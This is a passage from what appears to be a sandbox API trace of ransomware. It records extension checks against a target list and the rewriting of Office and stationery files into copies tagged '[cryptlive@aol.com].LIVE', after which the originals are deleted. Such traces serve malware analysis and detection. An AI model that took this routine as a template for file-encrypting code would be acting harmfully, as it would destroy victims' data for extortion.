(lpString=".pdf") returned 4 [0046.497] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.497] lstrlenW (lpString=".xls") returned 4 [0046.497] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.497] lstrlenW (lpString=".xlsx") returned 5 [0046.497] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0046.497] lstrlenW (lpString=".ppt") returned 4 [0046.497] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0046.497] lstrlenW (lpString=".zip") returned 4 [0046.498] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.498] lstrlenW (lpString=".rar") returned 4 [0046.498] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.498] lstrlenW (lpString=".bz2") returned 4 [0046.498] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.498] lstrlenW (lpString=".7z") returned 3 [0046.498] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0046.498] lstrlenW (lpString=".dbf") returned 4 [0046.498] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0046.498] lstrlenW (lpString=".1cd") returned 4 [0046.498] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0046.498] lstrlenW (lpString=".jpg") returned 4 [0046.498] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.498] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0046.498] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0046.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.498] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1450) returned 1 [0046.498] CloseHandle (hObject=0x1f8) returned 1 [0046.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0046.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.499] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.499] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0047.084] GetLastError () returned 0x0 [0047.084] ReadFile (in: hFile=0x1f8, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0047.085] WriteFile (in: hFile=0x218, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0047.086] ReadFile (in: hFile=0x1f8, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.086] WriteFile (in: hFile=0x218, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0047.086] SetEndOfFile (hFile=0x218) returned 1 [0047.086] CloseHandle (hObject=0x218) returned 1 [0047.087] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.087] SetEndOfFile (hFile=0x1f8) returned 1 [0047.088] CloseHandle (hObject=0x1f8) returned 1 [0047.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0047.088] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0047.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0047.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0047.089] lstrlenW (lpString=".doc") returned 4 [0047.089] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.089] lstrlenW (lpString=".docx") returned 5 [0047.089] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0047.089] lstrlenW (lpString=".pdf") returned 4 [0047.089] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.089] lstrlenW (lpString=".xls") returned 4 [0047.089] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.089] lstrlenW (lpString=".xlsx") returned 5 [0047.089] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0047.089] lstrlenW (lpString=".ppt") returned 4 [0047.089] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0047.089] lstrlenW (lpString=".zip") returned 4 [0047.089] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.089] lstrlenW (lpString=".rar") returned 4 [0047.089] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.089] lstrlenW (lpString=".bz2") returned 4 [0047.089] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.089] lstrlenW (lpString=".7z") returned 3 [0047.089] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0047.089] lstrlenW (lpString=".dbf") returned 4 [0047.089] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0047.089] lstrlenW (lpString=".1cd") returned 4 [0047.089] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0047.089] lstrlenW (lpString=".jpg") returned 4 [0047.089] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0047.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0047.090] lstrlenW (lpString=".doc") returned 4 [0047.090] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.090] lstrlenW (lpString=".docx") returned 5 [0047.090] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0047.090] lstrlenW (lpString=".pdf") returned 4 [0047.090] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.090] lstrlenW (lpString=".xls") returned 4 [0047.090] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.090] lstrlenW (lpString=".xlsx") returned 5 [0047.090] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0047.090] lstrlenW (lpString=".ppt") returned 4 [0047.090] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0047.090] lstrlenW (lpString=".zip") returned 4 [0047.090] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.090] lstrlenW (lpString=".rar") returned 4 [0047.090] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.090] lstrlenW (lpString=".bz2") returned 4 [0047.090] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.090] lstrlenW (lpString=".7z") returned 3 [0047.090] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0047.090] lstrlenW (lpString=".dbf") returned 4 [0047.090] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0047.090] lstrlenW (lpString=".1cd") returned 4 [0047.090] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0047.090] lstrlenW (lpString=".jpg") returned 4 [0047.090] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.091] lstrcmpiW (lpString1=".htm", lpString2=".LIVE") returned -1 [0047.091] lstrlenW (lpString="Bears.htm") returned 9 [0047.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.092] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=255) returned 1 [0047.093] CloseHandle (hObject=0x1f8) returned 1 [0047.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0047.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0047.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0047.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0047.093] lstrlenW (lpString=".doc") returned 4 [0047.093] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0047.093] lstrlenW (lpString=".docx") returned 5 [0047.093] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0047.093] lstrlenW (lpString=".pdf") returned 4 [0047.093] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0047.093] lstrlenW (lpString=".xls") returned 4 [0047.093] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0047.093] lstrlenW (lpString=".xlsx") returned 5 [0047.093] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0047.093] lstrlenW (lpString=".ppt") returned 4 [0047.093] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0047.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0047.093] lstrlenW (lpString=".zip") returned 4 [0047.094] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0047.094] lstrlenW (lpString=".rar") returned 4 [0047.094] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0047.094] lstrlenW (lpString=".bz2") returned 4 [0047.094] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0047.094] lstrlenW (lpString=".7z") returned 3 [0047.094] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0047.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0047.094] lstrlenW (lpString=".dbf") returned 4 [0047.094] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0047.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0047.094] lstrlenW (lpString=".1cd") returned 4 [0047.094] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0047.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0047.094] lstrlenW (lpString=".jpg") returned 4 [0047.094] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0047.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0047.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0047.094] lstrlenW (lpString=".doc") returned 4 [0047.094] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0047.094] lstrlenW (lpString=".docx") returned 5 [0047.094] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0047.094] lstrlenW (lpString=".pdf") returned 4 [0047.094] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0047.094] lstrlenW (lpString=".xls") returned 4 [0047.094] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0047.094] lstrlenW (lpString=".xlsx") returned 5 [0047.094] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0047.094] lstrlenW (lpString=".ppt") returned 4 [0047.094] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0047.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0047.094] lstrlenW (lpString=".zip") returned 4 [0047.094] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0047.094] lstrlenW (lpString=".rar") returned 4 [0047.094] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0047.094] lstrlenW (lpString=".bz2") returned 4 [0047.095] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0047.095] lstrlenW (lpString=".7z") returned 3 [0047.095] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0047.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0047.095] lstrlenW (lpString=".dbf") returned 4 [0047.095] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0047.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0047.095] lstrlenW (lpString=".1cd") returned 4 [0047.095] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0047.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0047.095] lstrlenW (lpString=".jpg") returned 4 [0047.095] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0047.095] lstrcmpiW (lpString1=".jpg", lpString2=".LIVE") returned -1 [0047.095] lstrlenW (lpString="Bears.jpg") returned 9 [0047.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.095] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1074) returned 1 [0047.095] CloseHandle (hObject=0x1f8) returned 1 [0047.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0047.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0047.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0047.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0047.096] lstrlenW (lpString=".doc") returned 4 [0047.096] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0047.096] lstrlenW (lpString=".docx") returned 5 [0047.096] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0047.096] lstrlenW (lpString=".pdf") returned 4 [0047.096] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0047.096] lstrlenW (lpString=".xls") returned 4 [0047.096] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0047.096] lstrlenW (lpString=".xlsx") returned 5 [0047.096] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0047.096] lstrlenW (lpString=".ppt") returned 4 [0047.096] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0047.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0047.096] lstrlenW (lpString=".zip") returned 4 [0047.096] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0047.096] lstrlenW (lpString=".rar") returned 4 [0047.096] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0047.096] lstrlenW (lpString=".bz2") returned 4 [0047.096] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0047.096] lstrlenW (lpString=".7z") returned 3 [0047.096] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0047.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0047.096] lstrlenW (lpString=".dbf") returned 4 [0047.096] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0047.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0047.096] lstrlenW (lpString=".1cd") returned 4 [0047.096] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0047.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0047.096] lstrlenW (lpString=".jpg") returned 4 [0047.096] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0047.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0047.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0047.097] lstrlenW (lpString=".doc") returned 4 [0047.097] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0047.097] lstrlenW (lpString=".docx") returned 5 [0047.097] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0047.097] lstrlenW (lpString=".pdf") returned 4 [0047.097] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0047.097] lstrlenW (lpString=".xls") returned 4 [0047.097] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0047.097] lstrlenW (lpString=".xlsx") returned 5 [0047.097] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0047.097] lstrlenW (lpString=".ppt") returned 4 [0047.097] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0047.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0047.097] lstrlenW (lpString=".zip") returned 4 [0047.097] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0047.097] lstrlenW (lpString=".rar") returned 4 [0047.097] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0047.097] lstrlenW (lpString=".bz2") returned 4 [0047.097] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0047.097] lstrlenW (lpString=".7z") returned 3 [0047.097] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0047.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0047.097] lstrlenW (lpString=".dbf") returned 4 [0047.097] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0047.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0047.097] lstrlenW (lpString=".1cd") returned 4 [0047.097] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0047.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0047.097] lstrlenW (lpString=".jpg") returned 4 [0047.097] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0047.097] lstrcmpiW (lpString1=".jpg", lpString2=".LIVE") returned -1 [0047.098] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0047.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.098] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=2575) returned 1 [0047.098] CloseHandle (hObject=0x1f8) returned 1 [0047.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0047.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0047.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0047.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0047.099] lstrlenW (lpString=".doc") returned 4 [0047.099] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0047.099] lstrlenW (lpString=".docx") returned 5 [0047.099] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0047.099] lstrlenW (lpString=".pdf") returned 4 [0047.099] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0047.099] lstrlenW (lpString=".xls") returned 4 [0047.099] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0047.099] lstrlenW (lpString=".xlsx") returned 5 [0047.099] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0047.099] lstrlenW (lpString=".ppt") returned 4 [0047.099] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0047.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0047.099] lstrlenW (lpString=".zip") returned 4 [0047.099] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0047.099] lstrlenW (lpString=".rar") returned 4 [0047.099] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0047.099] lstrlenW (lpString=".bz2") returned 4 [0047.099] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0047.099] lstrlenW (lpString=".7z") returned 3 [0047.099] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0047.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0047.099] lstrlenW (lpString=".dbf") returned 4 [0047.099] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0047.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0047.099] lstrlenW (lpString=".1cd") returned 4 [0047.099] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0047.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0047.100] lstrlenW (lpString=".jpg") returned 4 [0047.100] lstrcmpiW 